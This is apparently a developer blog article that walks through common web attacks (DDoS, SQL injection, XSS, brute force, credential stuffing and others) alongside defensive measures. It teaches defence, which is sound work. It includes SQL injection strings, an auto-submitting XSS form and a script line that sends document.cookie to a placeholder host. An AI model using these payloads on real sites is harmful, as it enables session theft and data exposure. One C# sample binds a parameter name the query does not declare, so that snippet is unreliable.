A few words about site attacks

A few words about site attacks

A list of the most common types of attacks can be found in the OWASP list

Let's start!

Distributed denial-of-service attack (DDoS attack)

ddos.gif

DDoS-attack (Distributed Denial of Service attack) - an attack capable of partially or completely disabling a website. At the moment, it is almost impossible for a hacker to single-handedly organize a DDoS attack. In most cases, an attacker uses a network of computers infected with a virus. The virus allows you to get the necessary and sufficient remote access to the infected computer. A network of such computers is called a botnet. This can be schematically shown as follows:

dd.jpg

The most common types of DoS attacks are:

Volumetric Attacks

The most common DDoS attack cuts a machine's network bandwidth by spamming it with bogus requests for every open port. Since the bot fills the ports with data, the machine constantly has to check requests for malicious data, and it does not have time to respond to normal requests. UDP streams and ICMP streams are the two main forms of bulk attacks.

Smurf attack or ICMP flood is one of the most dangerous types of DoS attacks since after such an attack the victim's computer will have a denial of service with almost a 100% guarantee. An attacker uses broadcasts to check the running hosts on the system by sending a ping request.

Fraggle attack (UDP flood) is a complete analog of the Smurf attack, where UDP packets are used instead of ICMP packets, therefore it is also called UDP flood. The principle of operation of this attack is simple: echo commands are sent to the seventh port of the victim on a broadcast request. Then the attacker's IP address is substituted with the victim's IP address, which soon receives a lot of reply messages. Their number depends on the number of nodes in the network. This attack results in bandwidth saturation and complete denial of service to the victim. At the same time, if the echo service is disabled, then ICMP messages will be generated, which will also lead to bandwidth saturation.

Application-level attacks

The application layer is the topmost layer of the OSI network model and is the closest to the user's interaction with the system. Application layer attacks focus primarily on direct web traffic. Potentials include HTTP, HTTPS, DNS, or SMTP.

Application layer attacks are not easy to catch because they usually use fewer machines, sometimes even one. Thus, the server can be tricked into treating the attack as nothing more than a higher volume of regular traffic.

7 tips for preventing DDoS attacks:

  1. Develop a denial-of-service response plan. Your infrastructure should be ready to quickly scale up or drop instances that have stopped responding, and you should also be able to quickly re-create your instances. In other words, all actions must be scripted by a DevOps engineer so that MTTR (Mean time to repair) is as short as possible.

  2. Protect your network infrastructure. This includes advanced intrusion prevention and threat management systems that combine firewalls, VPNs, anti-spam, content filtering, load balancing, and other layers of DDoS protection techniques. Together, they provide continuous and consistent network protection to prevent DDoS attacks. This includes everything from identifying possible traffic inconsistencies with the highest level of accuracy in blocking an attack. Usually, if you use a Cloud such as Azure, AWS, GCP, then this protection is already included in the application or is provided as a separate resource.

  3. Practicing basic network security The most basic countermeasure to prevent DDoS attacks is to make as few user errors as possible. Implementing strong security measures can prevent business networks from being compromised. Security techniques include strong passwords that are changed regularly, anti-phishing techniques, and secure firewalls that allow little external traffic. These measures alone won't stop DDoS, but they serve as a critical security foundation.

  4. Maintain a strong network architecture Focusing on the architecture of a secure network is vital to security. The business must create redundant network resources; if one server is attacked, others can handle additional network traffic. Where possible, servers should be located in different locations geographically. Distributed resources are more difficult for attackers.

  5. Use the Cloud As I said above, the cloud has already implemented methods of protection against attacks, also in the cloud, there are more resources and more bandwidth to protect against DDoS. In addition, the cloud can be used as a proxy for DDoS protection. Hybrid solutions can be convenient to strike the right balance between security and flexibility, especially with vendors offering customized solutions.

  6. Respond to "warning signs" Some of the symptoms of a DDoS attack include network slowdowns, unstable connections to the company's corporate network, or intermittent outages of websites. No network is perfect, but if the lack of performance seems to be prolonged or more severe than usual, the network is likely to experience DDoS and the company should take action.

  7. DDoS protection as a service

Use ready-made solutions that will protect against DDoS, such as:

  1. Azure
  2. AWS Shield

Phishing

ph.gif

Phishing is a type of Internet fraud, which consists of the theft of confidential user data. Simply put, cyber criminals “cheat” users so that they reveal their data, for example, phone numbers, numbers, and secret codes of bank cards, logins, and passwords of e-mail and accounts in social networks. To do this, users are offered a certain service or opportunity that entices them to such actions. For example, users of the social network Facebook are offered to find out who visited their page (although the social network itself does not provide such an opportunity), and customers of online stores are offered goods with a crazy discount.

Any other confidential information can be of interest to cybercriminals. Fraudsters "fish out" user data under various plausible excuses: checking authorization on the site, the need to "unsubscribe" from spam in e-mail, paying for a purchase at a bargain price or with a big discount, the need to install a new application.

It is worth mentioning that there can be several types of phishing attacks:

  • Letters to the post office

  • "Similar sites"

  • A mix of a real and similar site

We will not be able to protect our site and the user from the first two since we do not influence them in any way. But I would like to talk in more detail about the third.

An example of an attack:

The attacker sends the user to the original site but uses a third-party phishing site as the redirect URL. RedirectUrl is often used to transfer the user to the pages of the site where authorization is needed, for example, RedirectUrl = / user / Profile, after the user is authorized, they are uploaded to the desired page. This is the place a hacker can use to redirect to a phishing site.

Solution options:

  • The first step is to limit the processing of URLs from RedirectUrl to local ones.

  • Check CORS policies that prohibit making requests to your resource from unsafe resources

  • Check hosts where tokens are valid. If your language and technology allow you to check tokens for domains where they are issued, you must use this feature, if they do not support it, think about the custom implementation of such a solution.

SQL Injection

sql.gif

SQL injection is one of the most widespread methods of hacking websites and programs working with databases, based on the injection of arbitrary SQL code into a query. SQL injection can result in data loss, corruption or disclosure to unauthorized persons, loss of liability, or denial of access. The injection can sometimes lead to a complete hijacking of the host. The business impact depends on the needs of the application and the data.

An example of an attack:

Take for example the C# code that will enable SQL injection:

var customerName;  
customerName= Request.form ("customerName");  
var sql = "SELECT account_balance FROM user_data WHERE user_name = " + customerName;

If the attacker passes the string -1 OR 1 = 1 as the user_name parameter, then a completely different request will be executed, not the one we originally expected.

Consider another example of an SQL query that we may have in our system:

SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news WHERE news_caption LIKE('%Test%')

But by introducing the quotation mark (which is used in the query) into the search_text parameter, we can radically change the behavior of the SQL query. For example, passing the value ') + and + (news_id_author =' 1 as the search_text parameter, we will invoke the request for execution:

SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news 
  WHERE news_caption LIKE('%') and (news_id_author='1%')

This kind of manipulation allows a hacker to gain access to our system.

There are several ways to protect against SQL injection:

Method number 1. Using parameterized queries:

parameterized queries ensure that an attacker cannot modify the query even if the attacker inserts SQL commands. In the below secure example, if an attacker tries to inject the following code: tom 'or' 1 '=' 1, the parameterized query will not be vulnerable and will instead look for a username that matches the entire string tom 'or' 1 '' = 1

Recommendations on how to write secure queries

The creation and execution of the query do not change. All you have to do is simply pass parameters to the request using the Parameters.Add () call, as shown here.

String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
try {
  OleDbCommand command = new OleDbCommand(query, connection);
  command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));
  OleDbDataReader reader = command.ExecuteReader();
  // …
} catch (OleDbException se) {
  // error handling
}

SQL Command can also serve as a second example of protection:

private static void Update(Int32 customerID,
    string demoXml, string connectionString)
{
    string commandText = "UPDATE Sales.Store SET Demographics = @demographics "
        + "WHERE CustomerID = @ID;";

    using (SqlConnection connection = new SqlConnection(connectionString))
    {
        SqlCommand command = new SqlCommand(commandText, connection);
        command.Parameters.Add("@ID", SqlDbType.Int);
        command.Parameters["@ID"].Value = customerID;

        command.Parameters.AddWithValue("@demo", demoXml);

        try
        {
            connection.Open();
            Int32 rowsAffected = command.ExecuteNonQuery();
            Console.WriteLine("RowsAffected: {0}", rowsAffected);
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }
    }
}

Method number 2. Stored procedures:

Stored procedures are not always protected against SQL injection. However, some standard language constructs that call stored procedures have the same effect as method # 1.

Method number 3. Whitelist of incoming parameters

This method may be suitable when the number of input parameters is limited. For example, Enum or sorting (ASC, DESC), but in the case when this is something else, writing a whitelist by the query parameter may be redundant.

Method number 4. Escaping all user input

This technique should only be used as a last resort when none of the above can be implemented. But this methodology is weak compared to other defenses, and OWASP cannot guarantee that it will prevent all SQL injection in all situations.

This technique works as follows: each DBMS supports one or more character escaping schemes specific to certain types of queries. If you then escape all user-supplied data using the correct escaping scheme for the database you are using, the DBMS will not confuse this data with developer-written SQL, thus avoiding any potential SQL injection vulnerabilities. OWASP wrote a library for this that works with different programming languages.

Method number 5 Limited access:

To minimize the potential damage from a successful SQL injection attack, you should minimize the privileges assigned to each database account. Do not assign administrator or administrator access rights to your application accounts. We understand that this is easy and everything just “works”, but it is very dangerous. Start from scratch to determine what permissions your app accounts require, rather than trying to figure out which permissions you need to take away. Make sure that accounts that need read-only access have read-only access to the tables they need access to.

Multiple database users A web application developer should not only avoid using the same owner/admin account in web applications to connect to the database. Different database users can be used for different web applications.

Typically, each web application that needs database access can have an assigned database user account that the web application will use to connect to the database. In this way, the application developer can build proper access control while minimizing privileges as much as possible. Each database user will have access to what he needs and write access as needed.

For example, the login page requires read access to the table username and password fields but does not have write access to any form (no insert, update, or delete). However, the registration page certainly requires you to have insert rights to this table; this limitation can only be applied if these web applications use different DB users to connect to the database.

Views You can use SQL views to further increase the granularity of access by restricting read access to specific table fields or table joins. This will allow you to limit the attack area since your view will only have access to those tables and columns that you open for this view.

Birthday attack

bd.gif

A birthday attack is a very interesting type of attack that is carried out against hashing algorithms that are used to verify the integrity of a message, software, or digital signature. The message processed by the hash function creates a fixed-length hash that does not depend on the length of the input message; this cache uniquely identifies the message. Birthday attack refers to the probability of finding two random messages that generate the same hash when processed by a hash function. If an attacker computes the same MD for his message as the user, he can replace the user's message with his own, and the recipient will not be able to detect the replacement, even if he compares the hash.

How to solve this problem?

There is no golden bullet for this problem, but you should try to use the most complex hash functions (forget about MD5 and SHA without salt). A good algorithm + salt is an acceptable solution to this problem

Brute-force

bf.gif

Brute-force is an enumeration of password values ​​with an attempt to log in under someone else's account.

In cryptography, the computational complexity of brute force is used to assess the cryptographic strength of ciphers. In particular, a cipher is considered cryptographically strong if there is no “cracking” method that is significantly faster than a full search of all keys. Brute force attacks are the most versatile, but also the longest.

It is important to understand that brute force can be performed using different types of dictionaries (including a list of stolen passwords)

The way to solve the problem with Brute-force:

  • Hide Admin and Client Login Pages by Changing Their Default Names

  • Require strong, unique passwords in your password policy - the longer the better.

  • Change the default username "admin" to a unique one

  • Limiting the frequency of login attempts for an account using various actions:

  • Account lockout after the specified number of login attempts has been reached

  • Providing two-factor authentication, CAPTCHA, or other forms of verification

  • Prevent multiple login attempts from the same IP address

  • Implementing secure password hashing techniques

  • Monitor new or existing user accounts with high activity and no purchases

  • Using automatic protection against bots by automatically analyzing the behavior

Cross-site scripting (XSS) attack

xss.gif XSS is the ability of an attacker to in a certain way integrate a script into the page of the victim's website, which will be executed upon visiting it.

hfgh.png

Types of XSS attacks:

There are two types of XSS vulnerabilities - passive and active.

An active vulnerability is more dangerous since the attacker does not need to lure the victim using a special link, he only needs to inject the code into a database or a file on the server. Thus, all site visitors automatically become victims. It can be integrated, for example, using SQL Injection. Therefore, you should not trust the data stored in the database, even if it was processed during insertion.

Passive vulnerability: social engineering is already needed here, for example, an important letter from the site administrator with a request to check the settings of your account after restoring from a backup. Accordingly, you need to know the address of the victim, or simply arrange a spam mailing or post on some forum, and even not the fact that the victims will be naive and click on your link.

Moreover, both POST and GET parameters can be subject to passive vulnerability. With POST parameters, of course, you have to go for some tricks. For example, redirecting from the attacker's website.

<form method="post" action="http://site.com">
<input type="hidden" name="var" value="<script>alert('xss')</script>">
</form>
<script type="text/javascript">
document.getElementsByTagName('form')[0].submit();
</script>

Therefore, the GET vulnerability is a little more dangerous, since it is easier for the victim to notice the wrong domain than the optional parameter (although the URL can be encoded altogether).

Stealing Cookies

This is the most frequently cited example of an XSS attack. In Cookies, sites sometimes store some valuable information (sometimes even a username and password (or its hash)), but the most dangerous is the theft of an active session, so do not forget to click the "Exit" link on the sites, even if it is a home computer. Fortunately, on most resources, the session lifetime is limited.

var іmg = new Image();
іmg.srс = 'http://site/xss?' + document.cookie;

Therefore, we introduced domain restrictions on XMLHttpRequest, but an attacker is not afraid, since there is

<iframe>, <img>, <script>, background: URL ();  etc.

Stealing data from forms

An attacker can find the form through getElementById () and track the onsubmit event. Now, before submitting the form, the entered data is also sent to the attacker's server.

This type of attack is somewhat reminiscent of phishing, only it is not a fake site that is used, but a real one, which makes the victim more trustworthy.

DDoS attack

An XSS vulnerability on multi-visited resources can be exploited to carry out a DDoS attack. It is indirectly related to XSS, since scripts may not be used at all, a construction like this is enough:

<img src="http://site.com/">

Cross-Site Request Forgery (CSRF / XSRF)

Also indirectly related to XSS. In general, this is a separate type of vulnerability but is often used in conjunction with XSS. The bottom line is that a user authorized on an invulnerable site goes to a vulnerable (or a special page of the attacker), from which a request is sent to perform certain actions.

Roughly speaking, ideally, it should be like this. The user is authorized in the payment system. Then I went to the site of the attacker or a site with an XSS vulnerability, from which a request was sent to transfer money to the account of the attacker. (I talked about this in more detail in the phishing section).

XSS worms

This type of attack appeared, probably, thanks to social networks such as Facebook and Twitter. The bottom line is that a link with an XSS vulnerability is sent to several users of the social network, when they click on the link, the integrated script sends messages to other users on their behalf, etc. In this case, other actions can be performed, for example, sending the personal data of victims to the attacker.

Innocuous XSS

Interestingly, counters are, in their essence, also a kind of active XSS attack. After all, data about the visitor is transmitted to a third-party server, such as, for example, his IP address, monitor resolution, etc. You integrate only the code into the page of your own free will. Take a look at the Google Analytics code for example. Cross-domain AJAX requests can be considered as harmless as well.

XSS protection

  1. All possible places where an attacker can insert code must be escaped (similar to what I described in the SQL Injection block)

  2. The X-XSS-Protection header is intended to enable the cross-site scripting filter built into all modern browsers. It will allow, for example, to prevent the execution of the

    <script> tag in the page URL
    

The X-XSS-Protection HTTP response header is a feature of Internet Explorer, Chrome, and Safari that stops page loading when an (XSS) attack is detected. While these protections are not required in most cases for modern browsers, when sites implement a strong Content-Security-Policy that disables the use of inline JavaScript ('unsafe-inline), they can protect users using outdated browser versions. that do not support CSP.

  1. Custom solution

Using components with vulnerabilities

leak.gif

Modern development is hard to imagine without a package manager, such as NuGet, npm, and others. Often a vulnerability can be embedded in a popular package.

Solution

There are quite a few analyzers for packages for vulnerabilities, use one of them as a build step, for example, in CI / CD. This way you will know if there are any potential vulnerabilities in the packages that you connected to your solution.

Insufficient logging & monitoring

log.gif

Why is it dangerous?

The attacker hopes that the system does not log all the necessary actions of the user. Thus, you will not be able to identify the illegal actions of the user. This vulnerability is one of the top 10 OWASP vulnerabilities.

Criteria that your application is vulnerable to:

  • Audit events such as logins failed logins, and important transactions are not logged.

  • Warnings and Errors generate inappropriate or unclear messages in the logs.

  • Application logs and APIs are not monitored for suspicious activity.

  • Logs are stored locally only.

  • Appropriate alert thresholds and escalation response processes are missing or ineffective.

  • Penetration testing and scanning with DAST tools (such as OWASP ZAP ) do not raise alerts.

  • The app cannot detect, extend, or report active attacks in real-time or near real-time.

How to prevent this error

  • Ensure that all logon, access control, and input validation errors on the server-side are logged with sufficient user context to identify suspicious or malicious accounts and are stored for sufficient time for analysis after some time.

  • Make sure logs are generated in a format that can be easily used for centralized log management solutions (Logstash, Splunk, Grafana. Azure log analytics, and others).

  • Ensure critical transactions have an audit trail with integrity controls to prevent tampering or deletion. Similar to how we do it in databases.

  • Ensure effective monitoring and alerting so that suspicious activity is detected and promptly responded to.

  • Develop or adopt an incident response and recovery plan such as NIST 800-61 rev 2 or later.

Outputting detailed errors to the client

error.gif

Quite often, developers return a detailed error along with the 500 to make it easier to debug, but at the same time, this error can carry critical information that will help a hacker in the evil of your system.

Why is it dangerous?

For example, consider the picture below, which I took from the application.

error.jpg

As you can see, in the details of the error, the local address of the webcam is indicated, this can be dangerous because if an attacker gains access to the network, it will not be difficult to get to the camera. It can also be implementation details or, for example, validation of certain errors, which will help a hacker understand how you protect or validate certain fields.

How to solve it?

The solution to this problem is quite simple, you need to configure the error policy to local-only or QA only, this will eliminate the details of the error on production.

Login with hacked accounts on other resources (credential stuffing)

cred.gif

This type of attack is called credential stuffing, which means a situation where usernames and passwords are stolen from some services to use this data against others.

How to protect yourself from credential stuffing?

  1. Add confirmation email to change password
  2. create an "anti-cheat" that checks the number of entries from IP and browser
  3. Add country check by IP
  4. Add logging and check for IP entry into the blacklist for critical endpoints
  5. Add the logic for logging in from a new device. The user must confirm the entry by email or phone

if you have another API for mobiles, these tips will not work

How to protect against credential stuffing in the Mobile API?

  1. Password Authentication Delay You can use Password Authentication Delay as a way to prevent Endpoint spam
private void AuthenticateRequest(object obj, EventArgs ea)
    {
       HttpApplication objApp = (HttpApplication) obj;
       HttpContext objContext = (HttpContext) objApp.Context;  
       // If user identity is not blank, pause for a random amount of time
       if ( objApp.User.Identity.Name != "")
         {
           Random rand = new Random();        
           Thread.Sleep(rand.Next(minSeconds, maxSeconds) * 1000);
         }      
    }
  1. API Key Authentication

Another way can be an API key, which the application receives when it first interacts with the Mobile API. This will help increase security, but if an attacker looks "under the hood" he can recognize the algorithm and adjust his script to this algorithm (for example, get the key before making requests)

  1. Certificates

Probably the most reliable way is to generate certificates that can be used for communication between the mobile application and our API. You just need to remember that long-lived certificates are dangerous. Therefore, you need to come up with a flow of their regeneration, which may take some time

  1. SecurityHash

For critical requests, you can come up with your protection algorithm, for example, so that a hacker does not spam Endpoints, you can add a check, for example, add logic that will take a hash over the request body and add some salt and send this hash in headers, and API, which processes these requests, will validate the signature, if it is not correct, then do not process the request.